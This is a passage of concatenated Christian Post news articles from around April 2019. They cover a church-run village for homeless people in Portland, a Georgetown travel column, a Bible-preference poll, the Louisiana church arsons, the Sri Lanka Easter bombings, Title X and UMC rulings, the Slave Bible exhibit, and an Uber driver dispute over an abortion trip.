about 15 sleeping pods that measure 96 square feet in area. The pods wont have electricity, plumbing or heating but will have solar powered batteries that will allow residents to charge a cellphone. The pods will also be insulated. The village will feature a central common area, a kitchen, bathroom, and shower. The village will be self-governed and overseen by the Agape Village Board. The village will be monitored 24/7 by volunteers and residents. The village will be fenced off and residents will be required to check in and out as they leave and enter. The hope is to officially open Agape Village in June or July, Huff said. Those who desire to stay at Agape Village will need to go through an application and screening process that will weed out sexual offenders. Residents of the village will be expected to follow five basic rules: no violence, no theft, no alcohol/drugs, no disruptive behavior and everyone must put in volunteer hours for the betterment of the community. Residents will also be expected to take part in weekly meetings. Huff said there will be a maximum population in the village of 25. That means that some pods could be given to houseless couples but the rest will be only for singles. While the project will provide shelter to those without a home, the goal is to provide a safe place for the homeless community to transition into permanent housing and healthier life. The ultimate goal is to create a village which involves the entire community in giving our neighbors a hand-up, the Agape Village website explains. We want this village to be a win-win for everyone - making our community safer while giving people a chance to find health and stability. Huff explained that while there wont be employment benchmarks residents will have to meet in order to stay in the village, he said that the program is looking for residents to show evidence that they are moving forward in the program. The idea is that it's transitional and that you're moving and working towards something, Huff stressed. And so if you're going to come here and not want to do anything, it's going to be pretty uncomfortable for you to be there. The idea [is] that these aren't your forever homes, that they're a place where you can find safety and stability in the relationship that you need to move on to wherever God wants to have you in life. Each resident will be assigned a case manager who will be responsible for helping the residents find employment. The case managers will not directly work for Agape Village but rather one of the villages partner organizations. The hope, Huff said, is to get 15 different churches to adopt each of the pods. I'm just asking for them to come and be friends with the people in it, said Huff. And then the church can love them and give them socks if they need socks or wish them a happy birthday. Church attendance will not be required to be part of the program. Although the idea for a homeless village like Agape Village is not new, Huff believes Agape Village is the first in Portland to be built on church property. There are a number of factors playing into the high level of homelessness in Portland, Huff said, including rising rent and drug addiction. And in our particular area or neighborhood, there are no shelters, he said. The shelters that are open are full and more downtown. People don't have a place to go to. So they end up here. Agape Village is partnering with various organizations such as a local hospital to provide Agape Village residents with services like peer-to-peer counseling, drug and alcohol rehabilitation, mentor support, and case management. Huff said that there are at least 15 outside organizations and other churches that have partnered with Agape Village. Although Agape Village is a nonprofit entity separate from the church, Huff stressed that it is still a ministry of Central Church of the Nazarene. He explained that creating a separate nonprofit makes it much easier to get government grants. A fundraising dinner was held earlier this month in which over $11,000 was raised to benefit Agape Village. According to the villages Facebook page, enough money was raised to cover operating and building expenses through 2020. 48 hours in Georgetown, Texas Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment It is billed as having the most beautiful town square in all of Texas. Some might consider that an audacious claim, but it is actually an understatement. Without a doubt, Georgetown has one of the most beautiful town squares anywhere. The square gives Georgetown, located just 25 miles north of Austin, a quaint, small-town vibe that contemporary urban planners and architects struggle to replicate. As a result, the city is perfect for a weekend getaway. Impressively, the charming streetscape hasnt been lost despite Georgetowns population growing by 376% since 1990. The growth has been so rapid that it is consistently named one of the top five or six fastest-growing cities in the country by the U.S. Census Bureau. At the center of the square is the Williamson County Courthouse, an early 20th century edifice designed in the then-fashionable architectural style of Beaux Arts. The stately facade with its pediments was restored in the early 2000s. On all four sides are buildings from the late Victorian or Edwardian eras. Once home to banks, grocers and all kinds of other shops, the old buildings now house a growing number of boutiques, wineries yes, Texas wine is a thing and eateries. There are even two playhouses with a variety of shows. As one might imagine, the square is the center of life in Georgetown. It is here where festivals and other community events take place, including next weekends 20th Annual Red Poppy Festival. The Williamson Museum, located across from the courthouse in an old bank, is worth visiting for a glimpse into Georgetowns past. They also offer free guided tours of the courthouse and the historic downtown. A few blocks away is the campus of Southwestern University, a small historically Methodist liberal arts college. Here you find the Lois Perkins Chapel, which was built after World War II in the distinctive local limestone used throughout Georgetown on the scale of a small cathedral. The exterior architecture, a blend of Romanesque and Gothic styles, is overly austere, but the interior features a splendid collection of stained glass windows. Thirteen of the windows depict important Protestant churchmen and leaders of Methodism, first within Anglicanism and then as a separate denomination. These include John Calvin, John Wycliffe, Roger Williams, the Wesley brothers and Francis Asbury. Sadly, there was no guidebook or leaflet for visitors. Where to stay and eat I stayed at the Sheraton on the outskirts of town near the big box stores. The hotel, which opened in 2016 and still has the newish smell, is home to the upscale casual restaurant Brix and Ale. Under chef Patrick Taylor it has become Georgetowns best restaurant. Another restaurant I recommend is Gumbos North on the Square. Housed in an old Masonic lodge with an eccentric onion dome reminiscent of what you see on Russian churches, the balcony extending from the upstairs bar and dining room is perfect for great people watching. How to get there A rental car is a must if flying into nearby Austin. Once in Georgetown, however, you can get around using the Sheratons complimentary bicycles. Spires and Crosses, a travel column exclusive to The Christian Post, is published every week. Follow @dennislennox on Twitter and Instagram. Americans who favor New Testament most likely to oppose gay marriage, be pro-life: poll Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Americans who say the New Testament is their favorite Testament in the Bible are more likely to oppose gay marriage and say they are pro-life than those who prefer the Old Testament, according to new data. YouGov, a market research company headquartered in the United Kingdom, has released data compiled through YouGov Profiles of more than 30,000 Americans related to their biblical preferences and how they might shape their individual practices and beliefs. The data show that less than 21 percent of Americans favor the Old Testament, which can be embodied by fire and brimstone. Meanwhile, 38 percent of Americans say their favorite part of the Bible is the New Testament, which focuses more on the love, grace and forgiveness offered through Jesus Christ. However, 40 percent of Americans who responded to the survey said they either didnt know which part of the Bible they liked best (19 percent) or they were unfamiliar with the Bible (21 percent). While 31 percent of 18- to-24-year-olds said the New Testament was their favorite part of the Bible, 46 percent of those aged 65 or older said the same. This will in part be because younger Americans are less likely to be familiar with the Bible in the first place, Matthew Smith, YouGovs lead data journalist, wrote in a report. The data show that 31 percent of 18- to 24-year-old respondents said they are not familiar with the Bible, while only 14 percent of people aged 65 and older said the same. The data also suggests that Protestants (59 percent) are more likely than Roman Catholics (38 percent) to say they prefer the New Testament. But within Protestantism, there are differences between the denominations. The most likely group to say they favor the New Testament are Protestants who attend nondenominational or independent churches (65 percent). By comparison, 51 percent of Baptists, Methodists, and Lutherans said they prefer the New Testament. Lutherans were least likely to say that they prefer the Old Testament (18 percent), while Baptists were most likely to say they prefer the Old Testament (28 percent). Nineteen percent of independent or nondenominational Christians and 20 percent of Methodists said they preferred the Old Testament. Twenty-six percent of Catholics say they prefer the Old Testament. The poll shows that New Testament Americans are more likely to consider themselves very religious (36 percent), pray once a day (60 percent) and go to church at least once per week (44 percent). Twenty-one percent of Old Testament respondents said they are very religious. About 47 percent of Old Testament respondents said they pray daily and 28 percent said they attend church weekly. The poll also showed a bit of a divide between Old Testament Americans and New Testament Americans when it comes to beliefs on certain hot-button political issues. When it comes to the issue of abortion, 56 percent of New Testament respondents said they are strongly or somewhat pro-life, while 52 percent of Old Testament respondents said they are strongly or somewhat pro-choice. Forty percent of New Testament Americans said they were somewhat or strongly pro-choice, while 39 percent of Old Testament respondents said the same. "Insofar as the reasons given by many pro-lifers for holding that view are religious in nature, it would stand to reason that those who are less religious are less likely to be pro-life," Smith told The Christian Post in an email. "Although real life is complicated and the correlations are never perfect for all sorts of reasons, there will be some very religious people who are pro-choice and some unreligious people who are pro-life." Fifty-five percent of New Testament Americans said they somewhat or strongly oppose gay marriage, while only 43 percent of their Old Testament counterparts said the same. Forty percent of New Testament Americans said they strongly or somewhat support gay marriage, while 49 percent of Old Testament Americans expressed the same beliefs. The result is a bit ironic considering the Old Testament contains the warning in Leviticus that "If a man lies with a male as with a woman, both of them have committed an abomination. Smith told CP that he thinks the result on gay marriage like the result for the pro-life/pro-choice question is tied more strongly to the fact that Old Testament respondents were less likely to say they are very religious. He also noted that "preferring the New Testament is not the same as disliking or disregarding the Old Testament." When asked about the issue of assisted suicide, majorities of both Old Testament and New Testament Americans said they think assisted suicide should be always or mostly legal. Twenty-three percent of Old Testament Americans said they believe assisted suicide should be always or mostly illegal, while 37 percent of New Testament respondents said the same. Sixty-two percent of Old Testament respondents believe that assisted suicide should be always or mostly legal, while 52 percent of New Testament Americans said the same. New Testament respondents more so than Old Testament respondents were more likely to believe in theological concepts such as Heaven (77 percent to 62 percent), angels (73 percent to 60 percent), an eternal soul (71 percent to 52 percent), the afterlife (69 percent to 50 percent), Hell (65 percent to 49 percent), the devil (62 percent to 46 percent), judgement day or end times (63 percent to 45 percent). The data show that those who prefer the Old Testament are more likely to have a negative view of the impact religion has had on the history on the planet. Old Testament Americans, meanwhile, are more likely than New Testament Americans (42 percent to 32 percent) to believe that across history, religion has done more bad than good. Additionally, New Testament respondents were (53 percent) more likely to say there is only one true religion than Americans who said they preferred the Old Testament (41 percent). The YouGov data also indicates that 83 percent of New Testament Americans are more likely to believe in a Creator while just 67 percent of Old Testament Americans said the same. Old Testament Americans were slightly more likely to say they definitely believe in Darwinian evolution (28 percent), while just 24 percent of New Testament Americans said the same. The data is drawn from a pair of questions asking "which of these do you definitely believe" and "which of these do you definitely not believe" so data on whether respondents somewhat believe in evolution is not available. "The level of difference between the two groups [on Darwinian evolution] is relatively small (almost small enough to be considered margin of error), especially when compared to the difference for all the other entities in that question," Smith told CP. "So I wouldnt read a lot into that gap." Black churches torched in arson attack to rebuild in hope after public donates more than $2M Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Three historically black churches in Louisiana that were razed by fire in racially motivated arson attacks in recent weeks will rebuild better sanctuaries than they had before thanks to an outpouring of donations from the public. Mount Pleasant Missionary Baptist Church in Opelousas became the third historically black church over 100 years old to burn down in St. Landry Parish, in a span of 10 days earlier this month. St. Mary Baptist Church in Port Barre was the first reported church fire on March 26 while Greater Union Baptist Church in Opelousas went up in flames a week later. They are all confident that theyre going to rebuild better than what they had before, the Rev. Freddy Jack, president of the Seventh District Baptist Association to which all three churches hold membership, said in an interview with The Christian Post. They are keeping their heads up. They are remaining positive and hopeful and because of the outpouring of love from supporters to their cause, it makes it a whole lot easier for them to be able to manage this burden. And with each and every day, every passing day it gets easier to bear, he said. Reluctance to online fundraising A GoFundMe campaign which the churches were at first reluctant to use to get assistance to rebuild after the fires, raised more than $2 million in less than two weeks, exceeding their initial request of $1.8 million. For the century-old churches that were more inclined to collect donations through snail mail, they first had to overcome their distrust of online fundraising before taking the plunge with the idea that first came from a woman who called Jack after the fires seeking to help. A lady called me. I think she was from up east, on the east coast somewhere. She asked me what was the method for them to contribute and I told her we have a mail-in method. She used that, and she said, you ever thought about using a GoFundMe? And I said yes but thats about as far as it had gone, he said. After talking over the idea with his finance secretary, Jack said they decided to move forward with it. I called my secretary and said you need to look at setting up a GoFundMe account. And then she asked me what the goal should be and I said, well, it would take at least $600,000 [each] in addition to what they have or more to build and rebuild. And I said lets ask for $1.8 [million]. And thats how we come to that goal to help meet that need and rebuild and replace all that they lost, Jack explained, noting that replacing the furniture in the churches is expected to come at a high cost. The leaders of the churches were hesitant about online fundraising because of potential scamming. Once they were satisfied that they would be able to properly distinguish themselves in their campaign and it began getting media attention, however, they felt better about upgrading their fundraising efforts with online technology. Our feeling on the matter was simply this. A lot of people were kind of skeptical because so many people said to me scam. They had to make certain that it was a legitimate page. And thats when other people of influential status came in like Benjamin Watson, former player for the Saints and Baltimore Ravens, Jack said. Taking their appeal online turned out to be quite a boon for the churches. High-profile support from Hillary Clinton, others High-profile figures like Hillary Clinton asked the public to remember them too when more than $700 million was quickly raised to restore the famed Notre Dame cathedral in France that was damaged in a fire on April 15. As we hold Paris in our thoughts today, lets also send some love to our neighbors in Louisiana. Three historically black churches have burned in recent weeks, charring buildings and scattering communities, Clinton tweeted Tuesday with a link to the GoFundMe campaign that had initially been struggling to raise the $1.8 million needed to restore the three churches. After the Burning of the Cathedral in Paris, Hillary Clinton tweeted not only do we want to support that. We want to remember three black churches in the south. And thats when things skyrocketed, Jack said. It helped boost it because of the tweet that Hillary Clinton, Benjamin Watson and some others, I cant call all of their names, but people of influential status, people with a little more clout or contacts. Those people had an impact on a lot of people giving the way they give. As the media became more and more involved, the public became more and more aware that this was [something] that had occurred. It made it a lot easier [for people] to become more generous. The Rev. Kyle Terrell Sylvester of St. Mary Baptist Church, Rev. Harry Richard of Greater Union Baptist Church and Pastor Gerald Toussaint of Mount Pleasant, were reached for comment for this report but they were not immediately available to discuss individual recovery plans. In a recent interview with NPR, however, Toussaint said he was now focused on rebuilding and responding to the man charged with burning down his church with forgiveness. Holden Matthews, the 21-year-old son of a sheriff's deputy with alleged ties to Satanism, was charged with burning down the three churches. He allegedly used a secondary Facebook account to claim Baptist worshipers were brainwashed people days before his arrest. He also used his secondary account to comment on April 6 about Afrikan spirituality, saying he cant stand all these Baptists around here, bunch of brainwashed people trying to find happiness in a religion that was forced on their ancestors just as it was on mine. I wish more blacks people would look into ancient beliefs of pre Christian Africa. Forgiving Holden Matthews We got to forgive him. I feel for him because, oh, he's so young. He don't know nothing about the civil rights movement. He doesn't know nothing about lynching, Toussaint told NPR. He doesn't know nothing about racial violence. He don't know that. That young man is 21 years old. What does he know? Only what people feed him hatred and envy and strife. And if you keep feeding people with that, then it's going to turn into a whole lot worse than three churches. Jack in his interview with CP said he could not say how much was lost by each church that was razed but knows that people born during slavery are buried at Mount Pleasant. There are several of them (graves). I went and visited them myself, he said. All three churches destroyed in the fire will try to rebuild in a way that protects them better from similar future arson attacks. Its a terrible experience and ordeal that they have gone through," Jack said, "but they have learned from this and they are taking measures to prevent it in the building of a new edifice. At least something that will curtail it from ever happening in the way which it did. Gospel for Asia social worker lost 5 family members in Sri Lanka Easter bombings Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A social worker affiliated with Gospel for Asia lost five family members in the Easter Sunday bombings that took the lives of over 250 people, the humanitarian mission agency announced Thursday. The female social worker in question serves at a GFA-supported childrens center. The GFA-supported Bridge of Hope centers provide education, meals and medical care to children impacted by Sri Lankas civil war. In a statement, GFA founder K.P. Yohannan explained that the social worker was in utter shock and great grief to learn that her five relatives were killed in blasts at two churches on Sunday. The bombings killed four members of the same family: parents and their two children. Please pray for Gods comfort and peace upon the bereaved families, Yohannan said in his statement shared with The Christian Post. Pray that God will give them strength during this difficult time and for protection upon all families and communities in Sri Lanka as insecurity and uncertainty continues. According to GFA, the funeral services were already held for the social workers family members. The Sunday bombings targeted churches as Christians celebrated Easter and three hotels in Negombo, Batticaloa and Colombo. Officials on Thursday released an updated death toll, one that lowers the number of lives lost by over 100 to 253. A Colombo police spokesman had previously said that 359 lives were lost in the bombings, which would have made the bombings the deadliest attack claimed by the Islamic State. Authorities have also discovered dozens of detonators. GFA reports that a bomb was defused on a street near one of its supported offices. GFA is one of the worlds largest international ministries that seeks to serve the least of these in Asia. Its national workers in Sri Lanka will be part of the effort to bring healing and restoration as the country moves forward. Through its Bridge of Hope centers, GFA aids children who have lost their parents in the civil war, which officially ended in 2009. One center in Sri Lanka is home to over 120 children who lost parents in the war. I ask for your prayers and support, that the people of Sri Lanka may find strength in God's grace as they move forward, Yohannan said. Please join us in praying that during these pain-filled days ahead, our brothers and sisters on the field would be the healing hands of Jesus to broken and hurting people. Yohannan said on Wednesday that it was clear that the bombings were carried out to incite fear in the hearts of everyone around on the holiest day on the Christian calendar. Earlier this week, IS released a video through its Amaq News Agency where the suicide bombers who carried out the attack pledged their allegiance to IS caliph Abu Bakr al-Baghdadi. In the video, Easter is referred to as a blasphemous holiday. The social workers five family members are just a few of the many killed on Sunday. Other victims include children in a Sunday school class at Zion Church in Batticaloa. One teacher at the school said that the blast came minutes after the students expressed their willingness to die for Christ. A report naming other victims of the bombings can be found here. GFA recently settled a class-action lawsuit that accused the nonprofit of mishandling hundreds of millions in donations designated to be used in the mission field worldwide. While the organization did not admit any wrongdoing, it will pay $37 million as part of a settlement fund. A spokesperson for the group said the settlement fund amounted to basically refunding donations. Judge blocks Trump admin.'s Title X rule stripping abortion clinics of funding Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A federal judge in Washington state issued a preliminary nationwide injunction blocking the Trump administrations new Title X family planning policy barring funding recipients from promoting or referring women for abortion days before it was to go into effect. The order comes from United States District Judge Stanley A. Bastian, who on Thursday reasoned that arguments presented by the plaintiffs are likely to succeed on the merits. The state of Washington, the National Family Planning & Reproductive Health Association, and Cedar River Clinics sued to block the new Department of Health and Human Services rule issued in March and scheduled to go into effect on May 3. Abortion organizations like Planned Parenthood, the nations largest abortion provider, and NFPRHA argued that the regulation is essentially a gag rule that would prevent women from receiving family planning aid. They fear that the rule will essentially block abortion clinics from receiving Title X funding. The Title X program gives out about $286 million annually to programs that provide things like birth control, mammograms (which Planned Parenthood does not offer), and cancer screenings. Planned Parenthood receives about $60 million per year. The judge said the plaintiffs presented the argument that the new policy violates Title X regulations and section 1554 of the Affordable Care Act. In so finding, the court has not concluded that Plaintiffs will definitely prevail on the merits, nor has it concluded that they are more likely going to prevail, the judge wrote. The preliminary injunction standard requires neither of these conclusions. Four lawsuits have been filed in various states against the policy. Bastian is just now the second judge to rule against Trumps gag-rule. On Tuesday, U.S. District Judge Michael J. McShane in Oregon granted a preliminary injunction against the HHS rule and called it a "ham-fisted approach to public health policy.'' That case was filed by Oregon and about 20 others states. However, McShane has not yet written an opinion but suggested that he was reluctant to set a national health policy, suggesting his ruling might not be national in scope. Bastians ruling Thursday finds that the plaintiffs presented facts to demonstrate that they are likely to suffer irreparable harm without an injunction and that it could seriously disrupt or destroy the existing network of Title X providers in both the state of Washington and throughout the entire nation. [T]his network has been carefully knit together over the past 45 years and there is no evidence presented by the Department that Title X is being violated or ignored by this network of providers, the ruling states. It should be noted that the National Family Planning & Reproductive Health Association represents over 800 health organizations in all 50 states. Bastians ruling favors the plaintiffs argument that the ruling will cause Washington and other states unnecessary costs due to the separation rule" requiring abortion organizations to have a "clear financial and physical separation for Title X funded programs from programs and facilities where abortion is a method of family planning." Plaintiffs have presented initial facts and argument that the separation requirement in the Final Rule forces clinics that provide abortion services to maintain separate facilities and finances for Title X programs will more likely than not increase their expenses unnecessarily and unreasonably, Bastian wrote. Bastian also said the plaintiffs and supporters who filed amicus briefs presented facts to argue that the HHS rule is arbitrary and capricious and reverses long-standing positions of the department without proper consideration of sound medical opinions and the economic and non-economic consequences. The Trump administration argued that the HHS policy is justified through the 1988 Supreme court decision in the case of Rust v. Sullivan, where the high court upheld a similar policy that was later ended under Democrat President Bill Clinton. Bastian criticized the administration for relying on a 30-year-old Supreme Court ruling, suggesting that the ruling was out of date. Washington Attorney General Bob Ferguson said in a statement that the ruling ensures women with unplanned pregnancies can continue to receive unbiased healthcare. The ruling states that Washington stands to lose $28 million in savings from the loss of federal dollars and showed that it is not legally or logistically feasible for Washington to continue accepting any Title X funding subject to the Final Rule. Trumps gag rule would have jeopardized health care access to women across the country, Ferguson argued. Title X clinics, such as Planned Parenthood, provide essential services now they can keep serving women while we continue to fight to keep the federal government out of the exam room. NFPRHA and Cedar River Clinics were represented by The American Civil Liberties Union. As Bastians ruling is nationwide in its scope, Justice Department spokeswoman Kelly Laco criticized the judges decision to go beyond the parties before the court in an attempt to block executive branch actions. The Department of Justice's position is supported by long-standing Supreme Court precedent and should be upheld," Laco argued. Part of the plaintiffs arguments is that Title X policy already prevents organizations from using funds it receives from being used for abortion programs. While the ruling has been praised by abortion advocates, pro-life litigators question the way in which the order was issued. The same day as a federal district court in Washington heard oral argument, it issued a 19-page order granting a sweeping nationwide injunction against all of the challenged provisions of the Title X Rule based on all the legal theories raised by the challengers, Americans United for Life Litigation Counsel Rachel Morrison said in a statement. The orders analysis consisted merely of conclusory statements that the challengers have presented initial facts and argument on each claim without identifying any specific facts or arguments. Morrison believes that Bastians order did not truly grapple with any of the responses from the federal government and simply rejected them in a single sentence as dismissive, speculative, and not based on any evidence presented. There was no reasoned analysis for why the district court did not apply the U.S. Supreme Courts binding decision in Rust v. Sullivan, which upheld similar Title X regulations, other than the fact that the regulations were from 30 years ago and subsequent administrations have issued different regulations in the interim, Morrison stressed. Even though Title X statutorily excludes abortion from its family planning projects and funding, the district court apparently believes that Title X providers have a right to continue to receive taxpayer dollars to support their advocacy and promotion of abortion. 'Slave Bible' on display at Museum of the Bible; edition removes chapters to uphold slavery Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Although the Bible is filled with scriptures of freedom and Jesus preached in Luke 4:8 that He came to set the captives free, the holy book was once altered to convey the exact opposite message as a way to enforce slavery. The controversial Slave Bible, published in 1807 in London, is currently on display at the Museum of the Bible in Washington, D.C., and while it looks like any other Bible on the outside, its pages are meant to push an inhumane agenda by selectively removing almost 90 percent of the Old Testament and 50 percent of the New Testament, as described by Museum of the Bible curator Anthony Schmidt. A normal King James Version has 1189 chapters in it, the slave bible has only 282, Schmidt told NBC news. The distorted translation is missing the Old Testament chapter of Exodus which features the famous Moses account when he demands Pharaoh to set the Israelites free from captivity in Egypt and God makes a way for them to leave. The book of Jeremiah was also removed because of verses such as, Woe to him who builds his palace by unrighteousness, his upper rooms by injustice, making his own people work for nothing, not paying them for their labor (Jeremiah 22:13). The slave version likewise discarded the New Testament book of Galatians where the apostle Paul specifically destroys the idea that some people are greater than others. There is neither Jew nor Gentile, neither slave nor free, nor is there male and female, for you are all one in Christ Jesus (Galatian 3:28). What can be found in the book are passages such as Ephesians 6:5, which reads, Slaves, obey your earthly masters with respect and fear, and with sincerity of heart, just as you would obey Christ. The Gospel Coalition says practices like slavery, polygamy, and divorce were common in antiquity but clarifies that biblical instruction which allows for them in certain contexts isnt necessarily biblical approval. As most Christians would agree, the Bible is to be interpreted in the full counsel of Scripture and not just at some moments of history. Museum President and CEO Ken McKenzie said hes hoping the Slave Bible exhibit will discourage something like this from ever happening again. The Bible itself is a whole book; its not one that you get to carve up and you get to use this piece or that piece, McKenzie told NBC. The Slave Bible was formally named Parts of the Holy Bible Selected for the Use of the Negro Slaves in the British West-India Islands. Schmidt revealed that they believe it was likely produced by a missionary organization known as The Society for the Conversion of the Negro Slaves. The missionaries, though many were abolitionists, were reportedly under the impression that the revised Scriptures would improve the lives of enslaved Africans both materially and spiritually. This book, Schmidt explained, is aimed at justifying and reinforcing the slave system. But at the same time, it was used to help teach Africans how to read, for example, and to somehow educate them in the classroom. The exhibition was open November 2018 and will be on display until September 2019 at the Museum of the Bible. Vistors are encouraged to join the ongoing conversation about the "Slave Bible" in the exhibitions response area. Uber fires 'hero' driver who refused to take student to get an abortion Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Pro-lifers are rallying around a hero Uber driver who was fired for not taking a passenger to an abortion clinic and instead dropped her off at a gas station. The San Francisco-based ride-sharing company confirmed on Thursday that it barred the unnamed driver responsible for leaving a 20-year-old college student at a gas station instead of taking her to an abortion appointment after the woman posted about the experience on Reddit. The company told The Daily Caller that the act violated its community guidelines pertaining to safety. [A]ny actions that threaten the safety of drivers and rider will be investigated, a spokesperson told the conservative news outlet. Dropping someone off in the middle of nowhere threatens someones safety. In addition to the firing, the woman is seeking to bring a lawsuit against the driver. But at least one pro-life organization has vowed to help the driver find his own legal representation. Three weeks ago, the unnamed woman created a post on Reddit titled My Uber driver left me on the side of the road because he figured out I was going to an abortion clinic. The post recounts the journey that she took with the driver after leaving her home in upstate New York. At a school in upstate New York, the 20-year-old woman stated that she didnt have a car and is in no financial condition to take care of her child. She found an appointment at a clinic that was an hour away from her school and called an Uber to help her get there. My Uber arrived and he immediately seemed uncomfortable. After about five minutes in the car, he asked, are we going to a planned parenthood? I said no (because we werent), but it set off alarm bells that he would even ask that, She wrote. The destination I put in was just the name of the doctor and the address of the clinic, there was nothing that would suggest it was an abortion clinic. After a few more minutes he asked, are we going to an abortion clinic? The passenger said that she was shocked by the question and just remained silent. He then said I know its none of my business, but and proceeded to mention something about his wife being pregnant, how awful the procedure was (and proceeded to explain it in graphic detail), and that there is so much they dont tell you, the post reads. He then said youre going to regret this decision for the rest of your life and that I was making a mistake. About halfway through the trip, the woman wrote that the driver pulled over with no warning at a gas station. He reportedly told her that he cant take her the rest of the way but offered to take her back home. Unable to catch an Uber at her location, she was forced to have to call cab companies to seek a ride. She stated that the Uber driver hung around for about 10 to 15 minutes. He also asked her again if she wanted to go back to the city with him. But she declined. She eventually reached her appointment by cab, but she was an hour late. I reported the driver to Uber and the next day I filed a police report with my citys police department. Someone on Ubers team got in touch with me after I told them about the police report and called me to get a detailed account of what happened, she explained. I told them everything on a call that was recorded, and the rep mentioned that it appeared the driver had taken a less direct route to get me to my destination prior to dropping me off. Within a few days they reached out again and told me the driver had been banned from Uber, she continued. They also mentioned that it didnt appear hed ever done this before judging from his user ratings. Still though, the woman indicated in her post that she would like to pursue further legal action against the driver if possible to do so. She asked Reddit users if she had a legal case and what the next steps would be. I reached out to a law firm and a few legal aid societies but nothing has happened, she explained. Im not sure what I should do now. Lila Rose, prominent pro-life activist and president of Live Action, wrote in a tweet that the Uber driver is a hero. She wanted to know how to get in contact with him to help him get legal representation. This uber driver is a HERO. Does anyone have contact for him? We'd love to help support him and connect him with legal representation. https://t.co/aLzdpKM4WK Lila Rose (@LilaGraceRose) April 25, 2019 This Uber driver showed courage and compassion in a life and death situation, Rose said in a statement. If he is in need of it, Live Action is ready to help by connecting him with legal representation. In a blog post, Live Action added that the driver was right in that there are risks to the abortion pill that many women just dont know about. Forcing an Uber driver to go against his conscience and receive pay for transporting someone to an appointment where he knows the intentional killing of a child will take place is questionable, to say the least, Live Action asserts. This driver chose not to be an accessory to what he and other pro-lifers believe is murder. He acted in accordance with his conscience, and he offered to drive the student home (leaving her at the halfway point only after her insistence that he do so), so as not to be party to what he saw as a morally reprehensible act. Pro-life activist and former Planned Parenthood clinic director Abby Johnson tweeted: Whoever this guy is, I want to know him and give him the biggest high five ever. UMC high court partially upholds Traditional Plan on LGBT issues Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The United Methodist Churchs highest court has partially upheld a measure passed by a special session of General Conference that would provide stricter enforcement of the denominations rules against homosexuality and gay marriage. In a decision made public on Friday, the United Methodist Judicial Council ruled that the Traditional Plan approved earlier this year at the special session has parts that violate the denominations constitution. Known as Judicial Council Decision 1378, the ruling refused to strike down the entire Traditional Plan, noting that the petitions within it that were unconstitutional can be severed from the remainder. These petitions are not so closely related that a change in one affects the others. The petitions held unconstitutional have no effect on the petitions declared constitutional, read the decision. The constitutional petitions are not dependent on the unconstitutional petitions and can survive without the unconstitutional petitions. Petitions declared constitutional included, among others, Petition 90032, which offered a fuller definition of the term self-avowed practicing homosexual in the Book of Discipline; Petition 90036, which stops bishops from consecrating noncelibate homosexuals as bishops, even if they were elected by a conference; Petition 90042, which mandates a years suspension without pay for any pastor who officiates a same-sex wedding; Petition 90043, which bars the approval or recommendation of a person for ordination if they fail to meet the standards, including that of being in a same-sex relationship. In another ruling, the Judicial Council upheld a petition passed at special session that would allow an easier departure for congregations that want to leave the denomination. In Judicial Council Decision 1379, the church court ruled that Petition 90066 passed the three minimal requirements, specifically: the disaffiliation resolution be approved by a two-thirds majority of the professing members of the local church present and voting at the church conference, ... the terms and conditions, including effective date, of the agreement between the annual conference and the exiting local church be established by the conference board of trustees in accordance with applicable church law and civil laws, and that the disaffiliation agreement be ratified by a simple majority of the members of the annual conference present and voting. When taken together with the consent of the annual conference pursuant to 2529.1(b)(3), Petition 90066 as amended meets all three requirements and is constitutional and provides a means for the disaffiliation of a local church, concluded the Judicial Council. For the past several years, the UMC has been involved in a divisive internal debate over whether the denomination should change its position on LGBT issues. In February, the global denomination held a multiday special session of General Conference in St. Louis, Missouri, to try and develop a resolution to the debate. On Feb. 26, delegates voted 438-384 in favor of adopting the Traditional Plan, which involved maintaining the UMCs official position against homosexuality, same-sex marriage, and the ordination of noncelibate homosexuals while promising stricter enforcement. Also approved was a measure to make it easier for congregations that oppose the denominations stance on LGBT issues to leave with their property and funds. Delegates from overseas, especially Africa, Southeast Asia, and Eastern Europe, were a key factor in passing the Traditional Plan. Reconciling Ministries Network, an advocacy group that sought to change the UMCs position on LGBT issues, denounced the Traditional Plan as deeply unjust and painful. The Traditionalist Plan was passed by the efforts of organized opponents to gospel inclusion who have funded and promoted the demise of Christian witness across denominations who have dared to call out a white nationalist strain of Christianity, stated RMN. The Rev. Thomas Lambrecht of the theologically conservative Good News magazine celebrated the result, stating that the UMC sent a clear message that we will maintain traditional biblical moral standards on marriage and human sexuality. We will not forsake Scripture as our primary authority. We will remain united with our global United Methodist brothers and sisters with shared common ethics, stated Lambrecht. In response to the vote, the Judicial Council held a meeting in in Evanston, Illinois, on April 23-26 to hear two challenges to the approved measures from the special session. The first was from Pastor Timothy Bruster of the Central Texas Annual Conference, who requested the church court review the constitutionality, meaning, application, and effect of the adopted legislation referred to as the Traditional Plan. The second was from the UMC Council of Bishops, which submitted a request for the Judicial Council to determine the constitutionality of Petition 90066, which allowed congregations an easier process for being dismissed from the denomination. The petitions of the Traditional Plan that were declared constitutional by the Judicial Council this week will take effect in the United States on the first day of 2020 while taking effect overseas 12 months after the UMC General Conference in May 2020, according to United Methodist News Service. House can reject atheists request to deliver secular morning invocation, appeals court rules Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The U.S. House of Representatives and House Chaplain Pat Conroy can reject an atheists request to deliver a secular invocation, a federal appeals court ruled Friday. On Good Friday, a three-judge panel on the U.S. Court of Appeals for the D.C. Circuit protected the legislative chambers requirement to begin each day in session with a prayer by upholding a lower court ruling that tossed out a lawsuit brought forth by atheist Dan Barker. Barker, the co-president of the Wisconsin-based Freedom From Religion Foundation and a former minister, claimed in his lawsuit that his First Amendment rights were violated when his application to serve as a guest chaplain in the House was denied in 2015. Barker was invited by Wisconsin Democrat Rep. Mark Pocan to serve as a guest chaplain and submitted his ordination certificate and a draft of his secular invocation. But Barkers application was denied on grounds that Barker was ordained in a denomination in which he no longer practices. Conroy reasoned that Barker did not meet the long-standing requirement that guest chaplains be ordained by a recognized body in the 